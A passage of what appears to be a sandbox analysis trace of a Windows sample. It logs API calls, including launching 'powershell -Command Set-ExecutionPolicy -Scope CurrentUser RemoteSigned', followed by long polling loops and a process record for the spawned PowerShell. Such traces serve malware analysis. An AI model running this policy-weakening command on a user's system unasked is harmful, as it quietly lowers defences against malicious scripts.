lpBuffer=0x18e0ec*, lpNumberOfBytesWritten=0x18d8e8*=0x31, lpOverlapped=0x0) returned 1 [0052.538] CloseHandle (hObject=0xa8) returned 1 [0052.538] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x59ecd8 [0052.538] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x59ed50 [0052.538] SetLastError (dwErrCode=0x0) [0052.538] lstrcpyW (in: lpString1=0x18d4e0, lpString2="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" | out: lpString1="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned") returned="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" [0052.538] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18d498*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18d488 | out: lpCommandLine="powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned", lpProcessInformation=0x18d488*(hProcess=0xa4, hThread=0xa8, dwProcessId=0xa24, dwThreadId=0xa28)) returned 1 [0052.556] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.645] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.663] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.682] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.693] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.708] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.724] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.742] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.756] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.780] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.791] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.804] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.823] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.840] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.855] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.866] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.879] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.895] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.910] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.956] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.974] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.989] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.004] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.020] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.035] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.059] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.066] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.082] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.099] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.114] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.130] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.177] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.192] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.207] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.223] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.238] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.254] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.270] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.285] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.301] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.316] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.332] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.347] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.363] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.382] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.394] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.420] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.425] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.441] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.457] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.472] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.489] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.504] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.519] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.534] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.550] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.568] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.581] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.597] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.613] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.649] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.663] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.680] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.691] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.706] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.722] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.737] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.753] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.769] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.785] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.800] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.062] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.065] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.082] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.098] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.113] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.133] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.144] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.163] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.186] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.195] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.209] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.232] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.239] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.272] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.312] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.315] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.361] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.385] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.393] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.414] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.424] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.455] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.488] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.502] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.517] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.562] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.567] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.583] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.597] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.611] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.673] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.720] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.768] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.814] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.861] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.909] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.955] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0054.989] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.041] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.103] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.142] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.242] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.251] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.268] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.282] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.299] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.314] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.338] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.345] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.361] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.378] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.391] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.408] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.423] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.438] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.454] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.471] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.485] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.501] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.517] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.533] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.549] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.563] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.579] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.595] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.610] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.626] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.649] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.657] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.672] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.687] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.704] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.771] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.812] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.834] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.846] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.866] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.885] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.918] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.921] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.947] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.952] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.970] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.984] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.000] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.046] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.072] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.077] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.094] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.133] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.151] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.159] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.171] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.192] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.216] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.220] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.234] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.253] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.266] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.281] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.297] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.315] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.579] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.592] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.608] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.625] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.639] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.656] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.716] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.717] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.733] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.750] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.765] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.780] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.796] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.812] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.827] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.845] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.858] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.877] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.894] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.905] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.920] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.937] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.952] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.967] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.012] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.030] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.047] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.094] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.146] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.171] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.185] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.231] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.232] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.250] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.272] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.290] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.296] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.311] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.597] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.617] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.650] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.711] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.733] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.749] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.798] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.813] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.838] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.858] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.898] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.903] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.916] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.947] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.983] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.997] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.013] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.070] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.089] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.419] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.431] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.460] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.495] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.537] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.579] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.602] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.756] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.789] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.834] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.869] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.912] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.943] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0061.960] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.005] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.022] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.069] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.085] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.115] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.133] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.152] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.236] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.245] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.270] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.287] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.304] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.335] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.381] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.418] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.427] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.476] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.526] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.571] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.592] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.606] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.617] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.634] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.655] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.707] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.941] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.987] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.032] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.300] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.343] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.394] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.452] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.503] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.550] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.597] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.644] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) Process: id = "8" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x2fdfb000" os_pid = "0xa24" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xa1c" cmd_line = "powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 56 os_tid = 0xa28 [0055.850] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0055.946] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0055.946] SysStringByteLen (bstr="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil") returned 0xfe [0055.946] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0055.946] SysStringByteLen (bstr="Microsoft.PowerShell.UnmanagedPSEntry") returned 0x4a [0057.368] GetVersionExW (in: lpVersionInformation=0x607318*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x607318*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0057.368] GetLastError () returned 0x2 [0057.369] GetVersionExW (in: lpVersionInformation=0x607318*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: 